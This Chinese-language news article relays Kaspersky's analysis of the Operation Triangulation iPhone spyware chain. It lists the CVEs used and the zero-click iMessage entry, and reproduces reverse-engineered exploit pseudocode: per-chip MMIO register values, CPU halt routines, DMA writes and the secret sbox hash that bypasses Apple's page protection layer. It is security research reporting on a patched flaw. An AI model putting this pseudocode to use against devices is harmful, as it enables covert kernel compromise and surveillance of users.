【新智元導讀】iphone曝出「史上最複雜」硬件級別漏洞!黑客只需一條imessage即可拿到所有敏感數據,而用戶不會有任何察覺。整個漏洞涉及的鏈條極其複雜,讓karpathy都驚呼:不是普通人能幹出來的事。
最近,卡巴斯基的研究人員發現,有黑客在四年多的時間裏給數千部iphone留下了一個非常隱蔽的後門。通過這個硬件級別的後門,能直接獲得iphone最高級別的root權限。而要成功利用這個後門,必須要對蘋果產品最底層的機制有非常全面細緻的了解。以至於發現這個漏洞的卡巴斯基研究人員稱「無法想像這個漏洞是如何被意外發現的。」在他看來,除了蘋果和arm之外,幾乎不可能有人能獲知這個漏洞。而間諜軟件可以通過這個複雜的漏洞,將麥克風錄音、照片、地理位置和其他敏感數據傳輸到攻擊者控制的服務器。儘管重新啟動就能關閉這個漏洞,但攻擊者只需在設備重新啟動後向設備發送新的惡意imessage文本,就能重新開啟這個漏洞。期間完全不需要用戶進行操作,而且也不會留下任何蛛絲馬跡,非常隱蔽。對此,openai科學家andrej karpathy表示:這無疑是我們迄今為止所見過的攻擊鏈中最為複雜的一個。對此,karpathy認為,這已經不是個人行為能夠觸及的範疇了,應該是國家層面的行為了。
而一位聲稱自己還用palm手機的網友回復道:「我堅持用palm手機的意義就在這裡。」
甚至還有網友感嘆:「如果你成功地惹惱了具備這種技術能力和資源的人,可能你最不需要擔心的就是自己手機里的數據了。」
目前,蘋果公司已於2023年10月25日修復了這一核心安全漏洞。
這個漏洞被發現的研究人員稱為「三角行動」(operation triangulation)。- 攻擊者通過imessage發送一個惡意附件,應用程序會在用戶毫無察覺的情況下開啟這個漏洞。- 該附件利用了一個遠程代碼執行的漏洞(cve-2023-41990),該漏洞存在於一個只有蘋果公司知道的、未公開的 adjust truetype字體指令中。這個指令自九十年代初就存在,直到最近一個更新才被移除。- 攻擊過程中,它採用了一種稱為「返回/跳轉導向編程」的高級編程技巧,並且使用了多個階段的代碼,這些代碼是用nsexpression/nspredicate查詢語言編寫的,它們修改javascriptcore庫的環境,以執行一個用javascript編寫的權限提升的漏洞攻擊程序。- 這個javascript漏洞攻擊程序經過特殊處理,使其變得幾乎無法讀懂,同時也儘可能地縮小了它的體積。然而,它仍然包含大約11000行代碼。這些代碼主要用於分析和操縱javascriptcore和內核內存。- 它還利用了javascriptcore的一個調試功能dollarvm ($vm),通過這個功能,攻擊者可以在腳本中操縱javascriptcore的內存,並調用系統原生的api函數。- 這個攻擊工具被設計成兼容新舊型號的iphone,並且對於新型號的設備,它包含了一個用於繞過指針認證碼(pac)的技術,這使得攻擊能夠針對最新設備生效。- 它通過利用xnu內存映射系統調用(mach_make_memory_entry和vm_map)中的一個整數溢出漏洞(cve-2023-32434),實現了以用戶級別對設備所有物理內存的讀寫控制。- 該工具還運用了硬件內存映射i/o(mmio)寄存器來規避頁面保護層(ppl),這一問題在cve-2023-38606中已經被緩解。- 利用了所有漏洞之後,javascript漏洞便能隨意操控設備,包括部署間諜軟件。不過,攻擊者選擇了:(a)啟動 imagent進程,注入代碼以清除利用痕迹;(b)無痕模式下運行safari進程,並引導至含有下一階段內容的網頁。- 該網頁內嵌了一個腳本,能夠確認受害者身份,一旦驗證通過,便會加載下一階段的攻擊代碼:safari漏洞。- safari漏洞通過cve-2023-32435來執行shellcode。- 這個shellcode進一步執行另一個內核級漏洞,同樣利用cve-2023-32434和cve-2023-38606。它在規模和功能上都非常龐大,但與javascript編寫的內核漏洞截然不同。它們共享的只是與上述漏洞利用相關的部分代碼。然而,其大部分代碼也專註於解析和操控內核內存。- 這一漏洞最終獲得了root權限,並繼續執行其他階段的操作,這樣就可以加載間諜軟件。
討論的焦點是一個已經得到修復的安全漏洞,編號為cve-2023-38606。新一代iphone在硬件層面增加了額外的安全防護措施,專門用來保護內核內存中的敏感區域。即使攻擊者能夠讀寫內核內存,比如利用cve-2023-32434漏洞實施的這次攻擊,這種防護也能阻止他們完全控制設備。研究人員發現,攻擊者為了規避這種硬件防護,竟然利用了蘋果自家設計的soc中的另一項硬件功能。簡單來說,攻擊者的手法是這樣的:他們在繞過硬件防護的同時,將數據、目標地址和數據的哈希值一併寫入到芯片中未被固件使用的某些未知硬件寄存器,以此來對特定的物理地址進行數據寫入。研究人員推測,這個不為人知的硬件功能很可能是為了蘋果工程師或工廠的調試或測試而設計的,或者是意外包含在內的。由於固件並未使用這一功能,研究人員對於攻擊者是如何知曉並利用這一功能的方式一無所知。
在系統級芯片(system on a chip, soc)中,各種外設可能會提供特殊的硬件寄存器,以供中央處理器(cpu)使用,從而控制這些外設。為了實現這一點,這些硬件寄存器被映射到cpu可以訪問的內存中,這種方式被稱為「內存映射輸入/輸出 (memory-mapped i/o, mmio)」。蘋果的產品,如iphone、mac以及其他設備中,外圍設備的mmio地址範圍被存儲在一個特殊的文件格式中,名為「設備樹(devicetree)」。這些設備樹文件可以從固件中提取,並且可以使用dt(devicetree)工具來查看它們的內容。例如,在這張截圖裡,可以看到cpu0的acc-impl mmio範圍的起始地址(0x210f00000)和大小(0x50000)。深入研究「三角行動」(operation triangulation)攻擊中使用的漏洞時,研究人員意外發現,攻擊者為了繞過硬件級別的內核內存保護所使用的大部分mmio地址,並沒有在設備樹中定義。這個漏洞專門針對蘋果從a12到a16的soc,攻擊的是位於0x206040000,0x206140000和0x206150000的神秘mmio寄存器塊。這激發了研究人員的好奇心,進行了一系列的嘗試。翻遍了各種設備的設備樹文件和固件文件,但都沒找到任何線索。這讓研究人員困惑不已,這些被攻擊者利用的mmio地址,為什麼不在固件中使用呢?攻擊者是怎麼發現這些地址的?這些mmio地址到底屬於哪些外圍設備?之後研究人員決定去查看一下這些未知mmio塊附近是否有其他已知的mmio地址。這次,他終於找到了一些有價值的信息。在gfx-asc的設備樹條目的信息中,這是gpu的協處理器。它包含兩個mmio(memory-mapped i/o)內存映射範圍:0x206400000–0x20646c000和0x206050000–0x206050008。gfx-asc mmio範圍與漏洞所用地址的相關性要更加準確地描述,這個漏洞使用了以下一些未知的地址:0x206040000、0x206140008、0x206140108、0x206150020、0x206150040和0x206150048。研究人員發現,這些地址大部分位於兩個gfx-asc內存區域的中間,而剩餘的一個地址則靠近第一個gfx-asc區域的起始位置。這暗示了所有這些內存映射輸入輸出(mmio)寄存器很有可能是屬於圖形處理單元(gpu)的協處理器!隨後,研究人員對這個漏洞進行了更深入的分析,並且發現了一個進一步的證據。在初始化過程中,漏洞首先會寫入一些位於每個soc特定地址的內存映射輸入輸出(mmio)寄存器。if (cpuid == 0x8765edea): # cpufamily_arm_everest_sawtooth (a16)
base = 0x23b700408
command = 0x1f0023ff
elif (cpuid == 0xda33d83d): # cpufamily_arm_avalanche_blizzard (a15)
base = 0x23b7003c8
command = 0x1f0023ff
elif (cpuid == 0x1b588bb3): # cpufamily_arm_firestorm_icestorm (a14)
base = 0x23b7003d0
command = 0x1f0023ff
elif (cpuid == 0x462504d2): # cpufamily_arm_lightning_thunder (a13)
base = 0x23b080390
command = 0x1f0003ff
elif (cpuid == 0x07d34b9f): # cpufamily_arm_vortex_tempest (a12)
base = 0x23b080388
command = 0x1f0003ff
if ((~read_dword(base) & 0xf) != 0):
write_dword(base, command)
while(true):
if ((~read_dword(base) & 0xf) == 0):
break
在設備樹和siguza開發的工具pmgr的輔助下,研究人員發現所有這些地址都對應於電源管理器中的gfx寄存器所在的mmio(memory-mapped input/output)範圍。最後,當研究人員嘗試去訪問這些未知區域的寄存器時,得到了第三個證實。gpu的協處理器幾乎立刻報錯,顯示信息:「gfx serror exception class=0x2f (serror interrupt), il=1, iss=0 – power(1)」。這樣,研究人員就確認了所有這些未知的mmio寄存器,它們是被用來進行漏洞利用的,確實屬於gpu的協處理器。這促使研究人員更深入地研究這個固件,這些固件也是用arm架構編寫且未加密的,但是他在固件中並沒有找到任何與這些寄存器相關的信息。他決定更仔細地研究這個漏洞是如何操縱這些未知的mmio寄存器的。在所有寄存器中,0x206040000特別引人注目,因為它位於一個與其他所有寄存器都不同的獨立mmio塊中。它僅在漏洞的初始化和結束階段被操作:在初始化過程中是第一個被設置的寄存器,在結束階段是最後一個。根據研究人員的經驗,很明顯這個寄存器不是用來啟用/禁用漏洞所利用的硬件功能,就是用來中斷控制。研究人員開始追蹤中斷的線索,不久之後,他不僅識別出了這個未知的寄存器0x206040000,還發現了地址範圍0x206000000–0x206050000究竟映射了什麼。下面展示的是研究人員能夠識別出的漏洞代碼的逆向工程結果。def ml_dbgwrap_halt_cpu():
value = read_qword(0x206040000)
if ((value & 0x90000000) != 0):
return
write_qword(0x206040000, value | 0x80000000)
while (true):
if ((read_qword(0x206040000) & 0x10000000) != 0):
break
def ml_dbgwrap_unhalt_cpu():
value = read_qword(0x206040000)
value = (value & 0xffffffff2fffffff) | 0x40000000
write_qword(0x206040000, value)
while (true):
if ((read_qword(0x206040000) & 0x10000000) == 0):
break
成功將之前偽代碼中的ml_dbgwrap_halt_cpu函數與xnu源代碼的dbgwrap.c文件中同名函數匹配起來。該文件包含了用於操控主cpu的arm coresight mmio調試寄存器(arm coresight mmio debug registers)的代碼。源代碼顯示,存在四個與coresight相關的mmio區域,它們分別是ed、cti、pmu和utt。每個區域佔據0x10000位元組,且彼此緊鄰。ml_dbgwrap_halt_cpu函數利用了utt區域。與其他三個區域不同,utt並非來自arm,而是蘋果專門為了便利性添加的專有特性。主cpu的每個核心都有自己的coresight mmio調試寄存器區塊,但不同於gpu協處理器,它們的地址可以在設備樹中找到。另一個有趣的發現是,漏洞的作者(們)知道如何利用蘋果公司專有的utt區域來重新啟動cpu,而這部分代碼並不包含在xnu源代碼中。可以合理推測,這一操作很可能是通過實驗得出的。然而,通過實驗是無法發現攻擊者在第二個未知區域內對寄存器的操作的。研究人員不確定那裡有哪些mmio調試寄存器區塊,如果這些寄存器並未被固件所用,攻擊者是如何發現其用途的也是個謎。def dma_ctrl_1():
ctrl = 0x206140108
value = read_qword(ctrl)
write_qword(ctrl, value | 0x8000000000000001)
sleep(1)
while ((~read_qword(ctrl) & 0x8000000000000001) != 0):
sleep(1)
def dma_ctrl_2(flag):
ctrl = 0x206140008
value = read_qword(ctrl)
if (flag):
if ((value & 0x1000000000000000) == 0):
value = value | 0x1000000000000000
write_qword(ctrl, value)
else:
if ((value & 0x1000000000000000) != 0):
value = value & ~0x1000000000000000
write_qword(ctrl, value)
def dma_ctrl_3(value):
ctrl = 0x206140108
value = value | 0x8000000000000000
write_qword(ctrl, read_qword(ctrl) & value)
while ((read_qword(ctrl) & 0x8000000000000001) != 0):
sleep(1)
def dma_init(original_value_0x206140108):
dma_ctrl_1()
dma_ctrl_2(false)
dma_ctrl_3(original_value_0x206140108)
def dma_done(original_value_0x206140108):
dma_ctrl_1()
dma_ctrl_2(true)
dma_ctrl_3(original_value_0x206140108)
if (cpuid == 0x8765edea): # cpufamily_arm_everest_sawtooth (a16)
i = 8
mask = 0x7ffffff
elif (cpuid == 0xda33d83d): # cpufamily_arm_avalanche_blizzard (a15)
i = 8
mask = 0x3fffff
elif (cpuid == 0x1b588bb3): # cpufamily_arm_firestorm_icestorm (a14)
i = 0x28
mask = 0x3fffff
elif (cpuid == 0x462504d2): # cpufamily_arm_lightning_thunder (a13)
i = 0x28
mask = 0x3fffff
elif (cpuid == 0x07d34b9f): # cpufamily_arm_vortex_tempest (a12)
i = 0x28
mask = 0x3fffff
dma_init(original_value_0x206140108)
hash1 = calculate_hash(data)
hash2 = calculate_hash(data+0x20)
write_qword(0x206150040, 0x2000000 | (phys_addr & 0x3fc0))
pos = 0
while (pos < 0x40):
write_qword(0x206150048, read_qword(data + pos))
pos += 8
phys_addr_upper = ((((phys_addr >> 14) & mask) << 18) & 0x3ffffffffffff)
value = phys_addr_upper | (hash1 << i) | (hash2 << 50) | 0x1f
write_qword(0x206150048, value)
dma_done(original_value_0x206140108)
只要操作無誤,硬件就會執行直接內存訪問(dma)操作,把數據寫入指定的內存地址。利用這項硬件特性,攻擊者可以繞過頁面保護層(page protection layer, ppl),主要用途是修改頁表條目。此外,它還能修改受保護的__ppldata段內的數據。儘管這個漏洞並未用於修改內核代碼,但在研究人員進行的一次測試中,曾成功修改了內核的__text_exec段內的一條指令,並引發了一個顯示預期地址和值的「未定義內核指令」錯誤。這種情況只出現過一次,其他嘗試都導致了amcc錯誤的發生。關於那次成功的嘗試,研究人員有一些思路,未來研究人員計劃深入研究,因為他認為,將一個本用於攻擊的漏洞轉化為正面用途,比如在新款iphone上啟用內核調試功能,將會非常有意義。討論了所有與mmio(memory-mapped i/o)寄存器相關的工作之後,現在來關注最後一個話題:哈希值的計算方法。具體的算法如下所示。sbox = [
0x007, 0x00b, 0x00d, 0x013, 0x00e, 0x015, 0x01f, 0x016,
0x019, 0x023, 0x02f, 0x037, 0x04f, 0x01a, 0x025, 0x043,
0x03b, 0x057, 0x08f, 0x01c, 0x026, 0x029, 0x03d, 0x045,
0x05b, 0x083, 0x097, 0x03e, 0x05d, 0x09b, 0x067, 0x117,
0x02a, 0x031, 0x046, 0x049, 0x085, 0x103, 0x05e, 0x09d,
0x06b, 0x0a7, 0x11b, 0x217, 0x09e, 0x06d, 0x0ab, 0x0c7,
0x127, 0x02c, 0x032, 0x04a, 0x051, 0x086, 0x089, 0x105,
0x203, 0x06e, 0x0ad, 0x12b, 0x147, 0x227, 0x034, 0x04c,
0x052, 0x076, 0x08a, 0x091, 0x0ae, 0x106, 0x109, 0x0d3,
0x12d, 0x205, 0x22b, 0x247, 0x07a, 0x0d5, 0x153, 0x22d,
0x038, 0x054, 0x08c, 0x092, 0x061, 0x10a, 0x111, 0x206,
0x209, 0x07c, 0x0ba, 0x0d6, 0x155, 0x193, 0x253, 0x28b,
0x307, 0x0bc, 0x0da, 0x156, 0x255, 0x293, 0x30b, 0x058,
0x094, 0x062, 0x10c, 0x112, 0x0a1, 0x20a, 0x211, 0x0dc,
0x196, 0x199, 0x256, 0x165, 0x259, 0x263, 0x30d, 0x313,
0x098, 0x064, 0x114, 0x0a2, 0x15c, 0x0ea, 0x20c, 0x0c1,
0x121, 0x212, 0x166, 0x19a, 0x299, 0x265, 0x2a3, 0x315,
0x0ec, 0x1a6, 0x29a, 0x266, 0x1a9, 0x269, 0x319, 0x2c3,
0x323, 0x068, 0x0a4, 0x118, 0x0c2, 0x122, 0x214, 0x141,
0x221, 0x0f4, 0x16c, 0x1aa, 0x2a9, 0x325, 0x343, 0x0f8,
0x174, 0x1ac, 0x2aa, 0x326, 0x329, 0x345, 0x383, 0x070,
0x0a8, 0x0c4, 0x124, 0x218, 0x142, 0x222, 0x181, 0x241,
0x178, 0x2ac, 0x32a, 0x2d1, 0x0b0, 0x0c8, 0x128, 0x144,
0x1b8, 0x224, 0x1d4, 0x182, 0x242, 0x2d2, 0x32c, 0x281,
0x351, 0x389, 0x1d8, 0x2d4, 0x352, 0x38a, 0x391, 0x0d0,
0x130, 0x148, 0x228, 0x184, 0x244, 0x282, 0x301, 0x1e4,
0x2d8, 0x354, 0x38c, 0x392, 0x1e8, 0x2e4, 0x358, 0x394,
0x362, 0x3a1, 0x150, 0x230, 0x188, 0x248, 0x284, 0x302,
0x1f0, 0x2e8, 0x364, 0x398, 0x3a2, 0x0e0, 0x190, 0x250,
0x2f0, 0x288, 0x368, 0x304, 0x3a4, 0x370, 0x3a8, 0x3c4,
0x160, 0x290, 0x308, 0x3b0, 0x3c8, 0x3d0, 0x1a0, 0x260,
0x310, 0x1c0, 0x2a0, 0x3e0, 0x2c0, 0x320, 0x340, 0x380
]
def calculate_hash(buffer):
acc = 0
for i in range(8):
pos = i * 4
value = read_dword(buffer + pos)
for j in range(32):
if (((value >> j) & 1) != 0):
acc ^= sbox[32 * i + j]
return acc
如你所見,這是一種定製的算法,其哈希值的計算依賴於一個預先定義好的sbox表(sbox table)。他嘗試在龐大的二進制文件庫中搜尋它,但一無所獲。你可能已經注意到,這個哈希並不特別安全,因為它只有20位(兩次各計算10位),但只要沒人知道如何計算和應用它,它就足夠用了。這種做法最恰當的描述就是「隱晦式安全(security by obscurity)」。如果攻擊者沒有使用這個硬件特性,並且固件中沒有任何關於如何使用它的指引,他們如何可能發現並利用它呢?研究人員又做了一個測試。他發現mac內置的m1芯片也具備這一未知的硬件特性。接着,他利用了功能強大的m1n1工具進行了一次實驗。該工具具備一個trace_range功能,可以追蹤對指定mmio寄存器範圍的所有訪問,用它來監測0x206110000到0x206400000內存範圍的活動,但結果顯示macos並未使用這些寄存器。這次涉及到的gpu協處理器是最近才在蘋果的soc中首次出現的。研究人員懷疑這個硬件功能在之前的零售固件中有過任何用途。儘管如此,也不能排除它可能曾在某個特定固件更新或xnu源代碼的發佈中不小心泄露過,之後又被刪除的可能性。研究人員原本希望通過ios 16.6中對這個漏洞的修復,來探究第二個未知區域里隱藏了什麼。最後確實找到了蘋果是如何解決這個問題的,但他們故意將修復措施弄得難以理解。蘋果通過在設備樹的pmap-io-ranges中加入了mmio範圍0x206000000–0x206050000和0x206110000–0x206400000來防止這個漏洞被利用。xnu根據這裡的信息來判斷是否允許某些物理地址的映射。所有記錄在案的條目都貼上了一個標籤名,這些標籤清楚地說明了這些內存範圍的用途。在這裡,pcie指的是 「高速外圍設備互連(peripheral component interconnect express)」,dart是「設備地址解析表(device address resolution table)」,dapf代表「設備地址過濾器(device address filter)」,諸如此類。下面列出的是被漏洞利用的內存區域的標籤名稱。這些標籤在列表中顯得格外醒目。
可以看到,這個漏洞非比尋常,我們既不清楚攻擊者如何學會利用這個未知的硬件特性,也不知道它最初是用來做什麼的。甚至都不確定它是由蘋果開發出來的,還是類似arm coresight這樣的第三方組件造成的。但漏洞說明了一個事實:只要存在能夠繞過安全防護的硬件特徵,那麼無論多麼先進的硬件安全措施,在精明的攻擊者面前都會變得毫無用處。硬件安全常常依賴於「隱晦式安全」(security through obscurity),相較於軟件來說,硬件更難逆向工程分析。但這種方法本身是存在缺陷的,因為所有的秘密終將有被揭露的一天。那些依賴於「隱晦式安全」來維護的系統,永遠無法做到真正的安全。https://arstechnica.com/security/2023/12/exploit-used-in-mass-iphone-infection-campaign-targeted-secret-hardware-feature/
https://securelist.com/operation-triangulation-the-last-hardware-mystery/111669/